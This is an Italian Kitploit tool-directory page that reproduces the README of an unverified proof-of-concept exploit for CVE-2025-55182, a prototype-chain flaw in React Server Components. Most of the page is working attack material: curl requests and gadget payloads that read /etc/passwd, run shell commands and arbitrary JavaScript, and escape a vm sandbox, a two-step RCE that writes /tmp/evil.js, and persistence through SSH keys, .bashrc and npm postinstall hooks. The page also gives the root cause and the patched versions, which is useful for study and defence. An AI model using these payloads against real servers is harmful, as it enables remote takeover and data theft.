Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
exploit-CVE-2025-55182-poc — Questa POC dimostra la vulnerabilità CVE-2025-55182 utilizzando il codice vulnerabile reale di `react-server-dom-webpack@19.0.0`. | Kitploit
Strumenti/GitHubGitHub/pa2sw0rd/exploit-cve-2025-55182-poc
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPaper e RicercaApprendimento e FormazioneStrumento di Accesso RemotoSviluppo Payload
GitHub
pa2sw0rd/exploit-cve-2025-55182-poc

exploit-CVE-2025-55182-poc

Questa POC dimostra la vulnerabilità CVE-2025-55182 utilizzando il codice vulnerabile reale di `[email protected]`.

Vedi Repository
129 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-55182 - Vulnerabilità della catena dei prototipi nei React Server Components

Questa POC dimostra la CVE-2025-55182 utilizzando il codice vulnerabile reale di [email protected].

CVE-2025-55182 Guida alla correzione d'emergenza: analisi completa e mitigazione per la vulnerabilità RSC di Next.js/React (CVSS 10.0)

Questo repository è un fork di https://github.com/ejpir/CVE-2025-55182-poc e non è ancora stato verificato! Si prega di prestare cautela e di verificare attentamente!

Avvio rapido

root@kitploit:~
# Install dependencies
npm install

# Start vulnerable server (port 3002)
npm start

# Run RCE exploit
npm run exploit

Output atteso

root@kitploit:~
=== CVE-2025-55182 - RCE via vm.runInThisContext ===

Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}

Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}

Script NPM

root@kitploit:~
# Servers
npm start              # Start main server (server-realistic.js, port 3002)
npm run start:legacy   # Start legacy server (server.js, port 3002)
npm run start:module   # Start module server (port 3003) - hypothetical, see note below

# Exploits (use with npm start)
npm run exploit            # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all        # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)
npm run exploit:research   # Prototype chain research

# Hypothetical exploits (use with start:module)
npm run exploit:module     # Two-step RCE via module#_load
npm run exploit:indirect   # Two-step RCE with proof file

Nota: Gli exploit basati su module sono ipotetici. Il modulo integrato module è raramente incluso nel bundle delle applicazioni in produzione. Dimostrano un percorso di attacco teorico quando sono disponibili solo fs + module (niente vm/child_process). In pratica, le app con fs di solito hanno anche child_process tramite dipendenze come sharp, puppeteer o execa.

Test dei singoli gadget

root@kitploit:~
# Start server first
npm start

# Test fs read
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Test command execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

# Test vm code execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_ID_abc123def456#constructor='

File chiave

Server

FilePortDescrizione
src/server-realistic.js3002Server principale - simula un bundle webpack con i moduli comuni (fs, vm, child_process)
src/server.js3002Server legacy (usa require diretto)
src/server-module-test.js3003Server con module + fs (per la ricerca)

Script di exploit

FileDescrizione
exploit-rce-v4.jsRCE primaria tramite vm#runInThisContext
exploit-all-gadgets.jsTesta tutti i gadget RCE (vm, child_process, fs)
exploit-module-load.jsRCE in due passaggi tramite fs + module#_load
exploit-indirect-rce.jsRCE in due passaggi con creazione di un file di prova
exploit-persistence.jsAttacchi di persistenza (chiavi SSH, .bashrc)
exploit-research.jsRicerca sulla catena dei prototipi

Come funziona server-realistic.js

Simula un bundle webpack reale in cui le applicazioni includono comunemente moduli pericolosi tramite le dipendenze:

root@kitploit:~
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
  'actions-chunk-123': { /* user's server actions */ },
  'fs': require('fs'),           // via fs-extra, gray-matter, multer
  'child_process': require('child_process'), // via execa, shelljs, puppeteer
  'vm': require('vm'),           // via ejs, pug, handlebars
  'util': require('util'),
};

La funzione __webpack_require__ carica solo i moduli da BUNDLED_MODULES, simulando il comportamento reale di webpack.

La vulnerabilità

Causa principale

In requireModule(), le export vengono accedute tramite notazione a parentesi senza controllo hasOwnProperty:

root@kitploit:~
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]];  // Accesses prototype chain!

// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

Vettore di attacco

  1. Invia $ACTION_REF_0 con i metadati dell'azione associati
  2. id: 'vm#runInThisContext' carica il modulo vm e accede all'export runInThisContext
  3. L'array bound diventa gli argomenti della funzione
  4. Quando l'azione viene chiamata: runInThisContext(CODE) esegue codice arbitrario

Tutti i gadget RCE verificati

GadgetStatoDescrizione
vm#runInThisContext✓Esegue JS arbitrario nel contesto corrente
vm#runInNewContext✓Esegue in una "sandbox" (facilmente aggirabile)
child_process#execSync✓Esecuzione diretta di comandi shell
child_process#execFileSync✓Esegue file binari
child_process#spawnSync✓Avvia un processo (restituisce un oggetto)
module#_load✓Carica ed esegue un file JS (in due passaggi con fs)
fs#readFileSync✓Legge file arbitrari
fs#writeFileSync✓Scrive file arbitrari

Esempi di payload dei gadget

Esegui un comando shell (whoami):

root@kitploit:~
{ id: 'child_process#execSync', bound: ['whoami'] }

Leggi file sensibili:

root@kitploit:~
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }

Scrivi file su disco:

root@kitploit:~
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }

Esegui JavaScript arbitrario:

root@kitploit:~
{
  id: 'vm#runInThisContext',
  bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}

Evasione dalla sandbox (vm.runInNewContext):

root@kitploit:~
{
  id: 'vm#runInNewContext',
  bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}

Percorsi di attacco alternativi

Hai bisogno di vm o child_process?

Per la RCE diretta: Sì, ti serve uno dei seguenti:

  • modulo vm (runInThisContext, runInNewContext)
  • modulo child_process (execSync, execFileSync, spawnSync)

Per la RCE indiretta (solo fs): No! Con il solo fs puoi:

  • Scrivere su ~/.ssh/authorized_keys → accesso SSH
  • Aggiungere a ~/.bashrc → esecuzione di codice al prossimo accesso
  • Sovrascrivere node_modules/* → RCE al riavvio dell'app
  • Modificare il postinstall di package.json → RCE alla prossima installazione npm

Ipotetico: RCE in due passaggi con module#_load

Nota: Questo è ipotetico. Il modulo integrato module è raramente incluso nel bundle in produzione.

root@kitploit:~
// Step 1: Write malicious module
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }

// Step 2: Load it
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// Result: RCE!

Risultati del confronto

VersioneAttaccoRisultato
React 19.0.0vm#runInThisContext✓ RCE ottenuta
React 19.2.1vm#runInThisContext✗ Bloccato

Test della versione patchata

root@kitploit:~
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail

Pacchetti npm vulnerabili

Consulta VULNERABLE-PACKAGES.md per la ricerca sui pacchetti npm popolari che includono moduli pericolosi:

ModuloDownload settimanaliPacchetti popolari
fs145M+fs-extra, gray-matter, multer, sharp
child_process103M+execa, shelljs, puppeteer, sharp
vm21M+ejs, pug, handlebars, vm2

Versioni interessate

  • react-server-dom-webpack: < 19.2.0
  • react-server-dom-turbopack: < 19.2.0

Versioni corrette

  • react-server-dom-webpack: >= 19.2.0
  • react-server-dom-turbopack: >= 19.2.0
  • Next.js: 15.0.5+
Scarica lo strumento